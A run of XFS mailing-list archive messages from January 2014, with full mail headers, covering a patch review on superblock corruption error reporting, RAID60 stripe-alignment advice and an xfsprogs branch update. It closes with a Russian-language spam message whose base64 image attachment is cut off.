xfs_mount_validate_sb which are not corruption > per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, > rw-incompat etc - things which do not return EFSCORRUPTED - will > still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify > sees any error at all. And it suggests to the user that they > should run xfs_repair, even if the root cause of the mount failure > is a simple incompatibility. > > I'll submit that the probably-not-corrupted errors don't warrant > this much noise, so this patch removes the high-level > XFS_CORRUPTION_ERROR which was firing for every error return > except EWRONGFS. > > It also adds one to the path which detects a failed checksum. > > The idea is, if it's really _corruption_ we can call > XFS_CORRUPTION_ERROR at the point of detection. More benign > incompatibilities can do a little printk & fail the mount without > so much drama. > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> > --- > > I could see an argument where we might still want the hexdump > for things like bad magic - ok, just what *was* the magic? But > I think we do need to reserve the oops-mimicing-backtraces for > the most severe problems. Discuss. ;) > This seems pretty reasonable to me, particularly if pretty much any error via the xfs_sb_verify() path dumps corruption noise... > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 511cce9..b575317 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -617,6 +617,8 @@ xfs_sb_read_verify( > /* Only fail bad secondaries on a known V5 filesystem */ > if (bp->b_bn != XFS_SB_DADDR && > xfs_sb_version_hascrc(&mp->m_sb)) { > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > + mp, bp->b_addr); > error = EFSCORRUPTED; > goto out_error; > } > @@ -625,12 +627,8 @@ xfs_sb_read_verify( > error = xfs_sb_verify(bp, true); > > out_error: > - if (error) { > - if (error != EWRONGFS) > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - mp, bp->b_addr); > + if (error) > xfs_buf_ioerror(bp, error); > - } > } ... but why not leave the corruption output here in out_error, change the check to (error == EFSCORRUPTED) and remove the now duplicate corruption message in xfs_mount_validate_sb() (or replace it with a warn/notice message)? This would catch the other EFSCORRUPTED returns in a consistent manner, including another potential duplicate in the write verifier. I guess we'd lose a little specificity between the crc failure and sb validation, but we could add a warn/notice for the former too. Brian > > /* > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Thu Jan 30 14:28:31 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 382237F7C for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:28:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2478B8F8064 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:28:25 -0800 (PST) X-ASG-Debug-ID: 1391113702-04cbb00c2834230001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id V05hbEgvXtP7QIZr for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:28:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah4JACm16lJ5LGaB/2dsb2JhbABZDoJ+gz61I4VSgQsXdIIlAQEBAwEOLBwPFAULCAMYCSUPBSUDIROHfQfMMRcWjgETD0kHhDgEmCeSIIJuUyiBLAEf Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jan 2014 06:58:22 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W8yDj-0006ld-Cz; Fri, 31 Jan 2014 07:28:19 +1100 Date: Fri, 31 Jan 2014 07:28:19 +1100 From: Dave Chinner <david@fromorbit.com> To: "C. Morgan Hamill" <chamill@wesleyan.edu> Cc: stan <stan@hardwarefreak.com>, xfs <xfs@oss.sgi.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140130202819.GO2212@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391090527-sup-4664@al.wesleyan.edu> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391113702 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144654 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Thu, Jan 30, 2014 at 09:28:45AM -0500, C. Morgan Hamill wrote: > First, thanks very much for your help. We're weening ourselves off > unnecessarily expensive storage and as such I unfortunately haven't had > as much experience with physical filesystems as I'd like. I am also > unfamiliar with XFS. I appreciate the help immensely. > > Excerpts from Stan Hoeppner's message of 2014-01-29 18:55:48 -0500: > > This is not correct. You must align to either the outer stripe or the > > inner stripe when using a nested array. In this case it appears your > > inner stripe is RAID6 su 128KB * sw 12 = 1536KB. You did not state your > > outer RAID0 stripe geometry. Which one you align to depends entirely on > > your workload. > > Ahh this makes sense; it had occurred to me that something like this > might be the case. I'm not exactly sure what you mean by inner and > outer; I can imagine it going both ways. > > Just to clarify, it looks like this: > > XFS | XFS | XFS | XFS > --------------------------------------------------------- > LVM volume group > --------------------------------------------------------- > RAID 0 > --------------------------------------------------------- > RAID 6 (14 disks) | RAID 6 (14 disks) | RAID 6 (14 disks) > --------------------------------------------------------- > 42 4TB SAS disks So optimised for sequential IO. The time-honoured method of setting up XFS for this if the workload is large files is to use a stripe unit that is equal to the width of the underlying RAID6 volumes with a stripe width of 3. That way XFS tries to align files to the start of each RAID6 volume, and allocate in full RAID6 stripe chunks. This mostly avoids RMW cycles for large files and sequential IO. i.e. su = 1536k, sw = 3. > ...more or less. > > I agree that it's quite weird, but I'll describe the workload and the > constraints. [snip] summary: concurrent (initially slow) sequential writes of ~4GB files. > Now, here's the constraints, which is why I was planning on setting > things up as above: > > - This is a budget job, so sane things like RAID 10 are our. RAID > 6 or 60 are (as far as I can tell, correct me if I'm wrong) our only > real options here, as anything else either sacrifices too much > storage or is too susceptible failure from UREs. RAID6 is fine for this. > - I need to expose, in the end, three-ish (two or four would be OK) > filesystems to the backup software, which should come fairly close > to minimizing the effects of the archive maintenance jobs (integrity > checks, mostly). CrashPlan will spawn 2 jobs per store point, so > a max of 8 at any given time should be a nice balance between > under-utilizing and saturating the IO. So concurrency is up to 8 files being written at a time. That's pretty much on the money for striped RAID. Much more than this and you end up with performance being limited by seeking on the slowest disk in the RAID sets. > So I had thought LVM over RAID 60 would make sense because it would give > me the option of leaving a bit of disk unallocated and being able to > tweak filesystem sizes a bit as time goes on. *nod* And it allows you, in future, to add more disks and grow across them via linear concatentation of more RAID60 luns of the same layout... > Now that I think of it though, perhaps something like 2 or 3 RAID6 > volumes would make more sense, with XFS directly on top of them. In > that case I have to balance number of volumes against the loss of > 2 parity disks, however. Probably not worth the complexity. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Thu Jan 30 14:30:42 2014 Return-Path: <sandeen@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5EB7E7F7C for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:30:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34CA2304081 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:30:42 -0800 (PST) X-ASG-Debug-ID: 1391113841-04bdf0121e384a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CrgqJefXCi4HPJbL for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:30:41 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKUemt031812 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:30:41 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKUdQC015352 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 30 Jan 2014 15:30:40 -0500 Message-ID: <52EAB66E.204@redhat.com> Date: Thu, 30 Jan 2014 14:30:38 -0600 From: Eric Sandeen <sandeen@redhat.com> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Brian Foster <bfoster@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption References: <52E88D8B.90208@redhat.com> <52EAB56D.2050203@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption In-Reply-To: <52EAB56D.2050203@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391113841 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/30/14, 2:26 PM, Brian Foster wrote: >> diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c >> > index 511cce9..b575317 100644 >> > --- a/fs/xfs/xfs_sb.c >> > +++ b/fs/xfs/xfs_sb.c >> > @@ -617,6 +617,8 @@ xfs_sb_read_verify( >> > /* Only fail bad secondaries on a known V5 filesystem */ >> > if (bp->b_bn != XFS_SB_DADDR && >> > xfs_sb_version_hascrc(&mp->m_sb)) { >> > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >> > + mp, bp->b_addr); >> > error = EFSCORRUPTED; >> > goto out_error; >> > } >> > @@ -625,12 +627,8 @@ xfs_sb_read_verify( >> > error = xfs_sb_verify(bp, true); >> > >> > out_error: >> > - if (error) { >> > - if (error != EWRONGFS) >> > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >> > - mp, bp->b_addr); >> > + if (error) >> > xfs_buf_ioerror(bp, error); >> > - } >> > } > ... but why not leave the corruption output here in out_error, change > the check to (error == EFSCORRUPTED) and remove the now duplicate > corruption message in xfs_mount_validate_sb() (or replace it with a > warn/notice message)? This would catch the other EFSCORRUPTED returns in > a consistent manner, including another potential duplicate in the write > verifier. I guess we'd lose a little specificity between the crc failure > and sb validation, but we could add a warn/notice for the former too. > > Brian > Well, I went back and forth on this. It's probably philosophical. ;) Should we emit the corruption error at the point of corruption detection, or at a higher level? I guess my concern was that while *this* caller might catch the return & yell, if another caller got added it might not. Putting it at the point of detection seemed foolproof in that regard. -Eric From bfoster@redhat.com Thu Jan 30 14:54:21 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5331F29E05 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:54:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2EA2D8F8068 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:54:21 -0800 (PST) X-ASG-Debug-ID: 1391115259-04cbb00c2a34e00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CJfYKS2hD3CQu9tV for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:54:20 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKsJCG016322 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:54:19 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKsH2j001318; Thu, 30 Jan 2014 15:54:18 -0500 Message-ID: <52EABBF8.5070309@redhat.com> Date: Thu, 30 Jan 2014 15:54:16 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption References: <52E88D8B.90208@redhat.com> <52EAB56D.2050203@redhat.com> <52EAB66E.204@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption In-Reply-To: <52EAB66E.204@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391115260 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/30/2014 03:30 PM, Eric Sandeen wrote: > On 1/30/14, 2:26 PM, Brian Foster wrote: >>> diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c >>>> index 511cce9..b575317 100644 >>>> --- a/fs/xfs/xfs_sb.c >>>> +++ b/fs/xfs/xfs_sb.c >>>> @@ -617,6 +617,8 @@ xfs_sb_read_verify( >>>> /* Only fail bad secondaries on a known V5 filesystem */ >>>> if (bp->b_bn != XFS_SB_DADDR && >>>> xfs_sb_version_hascrc(&mp->m_sb)) { >>>> + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >>>> + mp, bp->b_addr); >>>> error = EFSCORRUPTED; >>>> goto out_error; >>>> } >>>> @@ -625,12 +627,8 @@ xfs_sb_read_verify( >>>> error = xfs_sb_verify(bp, true); >>>> >>>> out_error: >>>> - if (error) { >>>> - if (error != EWRONGFS) >>>> - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >>>> - mp, bp->b_addr); >>>> + if (error) >>>> xfs_buf_ioerror(bp, error); >>>> - } >>>> } >> ... but why not leave the corruption output here in out_error, change >> the check to (error == EFSCORRUPTED) and remove the now duplicate >> corruption message in xfs_mount_validate_sb() (or replace it with a >> warn/notice message)? This would catch the other EFSCORRUPTED returns in >> a consistent manner, including another potential duplicate in the write >> verifier. I guess we'd lose a little specificity between the crc failure >> and sb validation, but we could add a warn/notice for the former too. >> >> Brian >> > > Well, I went back and forth on this. It's probably philosophical. ;) > > Should we emit the corruption error at the point of corruption detection, > or at a higher level? I guess my concern was that while *this* caller > might catch the return & yell, if another caller got added it might not. > > Putting it at the point of detection seemed foolproof in that regard. > Yeah, that makes sense too. If we were consistent, that model would suggest the write verifier corruption message could go and we'd embed corruption errors along with the other associated EFSCORRUPTED returns (at least where the resulting message is appropriate) in xfs_mount_validate_sb(). Either way seems reasonable to me. I guess if all the remaining situations are in fact real corruption situations, the point of detection approach is probably more resilient. It would still be nice to make the verifiers consistent in that though. ;) Brian > -Eric > From rjohnston@sgi.com Thu Jan 30 14:58:02 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6EF9929E05 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:58:02 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 341E98F804B; Thu, 30 Jan 2014 12:58:02 -0800 (PST) Received: from [134.15.0.179] (134.15.0.179) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Thu, 30 Jan 2014 14:58:01 -0600 Message-ID: <52EABCD8.7080600@sgi.com> Date: Thu, 30 Jan 2014 14:58:00 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@sandeen.net>, =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3?= =?UTF-8?B?aWN6?= <arekm@maven.pl> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> <201401281829.49414.arekm@maven.pl> <52EAA5E9.8020402@sgi.com> <52EAB3F0.3010605@sandeen.net> In-Reply-To: <52EAB3F0.3010605@sandeen.net> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 8bit X-Originating-IP: [134.15.0.179] On 01/30/2014 02:20 PM, Eric Sandeen wrote: > On 1/30/14, 1:20 PM, Rich Johnston wrote: >> Hey Arkadiusz, >> >> >> On 01/28/2014 11:29 AM, Arkadiusz Miśkiewicz wrote: >>> On Tuesday 28 of January 2014, Dave Chinner wrote: >>> >>>>> f3d3dae... libxfs: fix root inode handling inconsistencies >>>> >>>> Introduces this compiler warning in db/init.c: >>>> >>>> init.c: In function ¿init¿: >>>> init.c:152:3: warning: implicit declaration of function >>>> ¿xfs_initialize_perag_data¿ [-Wimplicit-function-declaration] >>> >>> Probably revert this one, right? >> >> Just a compiler warning which does not happen in the master branch. > > well, let's get it fixed anyway. > > moving the prototype to include/xfs_mount.h fixes it up. > > -Eric > No problem added to the cherry picked commit. New commit id. c21f3b5... libxfs: fix root inode handling inconsistencies From alexis@ameritech.net Thu Jan 30 15:06:50 2014 Return-Path: <alexis@ameritech.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C4A229E05 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:06:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 39D9F8F804B for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 13:06:47 -0800 (PST) X-ASG-Debug-ID: 1391116003-04cbb00c28354b0001-NocioJ Received: from ul-ai.kz (otyrar-tv.kz [95.57.119.39]) by cuda.sgi.com with ESMTP id tUORv9ujtenw6OhH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 13:06:45 -0800 (PST) X-Barracuda-Envelope-From: alexis@ameritech.net X-Barracuda-Apparent-Source-IP: 95.57.119.39 Received: from [220.180.100.73] (helo=Unknown) by ul-ai.kz with esmtpa (Exim 4.77) (envelope-from <alexis@ameritech.net>) id 1W8yoa-0004Xx-UU; Fri, 31 Jan 2014 03:06:30 +0600 Message-ID: <D7B7F7886E284ACE968BF07233913293@jjmkv> Reply-To: =?windows-1251?B?0M7R0sXVzcDEx87Q?= <sarah@rcn.com> From: =?windows-1251?B?0M7R0sXVzcDEx87Q?= <alexis@ameritech.net> To: <xfs@oss.sgi.com>, <diag@xema.ru>, <ialreksrej@dsp.spb.ru>, <academy@szags.ru> Subject: =?windows-1251?B?yO3m5e3l8PMg7+4gztIg6CDPwQ==?= Date: Thu, 30 Jan 2014 22:06:55 +0100 X-ASG-Orig-Subj: =?windows-1251?B?yO3m5e3l8PMg7+4gztIg6CDPwQ==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_20AC_01CF1E07.96872F80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Scanned-By: ClamAV 0.97.4; Fri, 31 Jan 2014 03:06:30 +0600 X-Barracuda-Connect: otyrar-tv.kz[95.57.119.39] X-Barracuda-Start-Time: 1391116004 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144655 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_20AC_01CF1E07.96872F80 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =EE=F2=E4=E5=EB =CE=D2 =E8 =CF=C1 ------=_NextPart_000_20AC_01CF1E07.96872F80 Content-Type: image/png; name="=?windows-1251?B?ztIg6CDPwS5wbmc=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?ztIg6CDPwS5wbmc=?=" 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 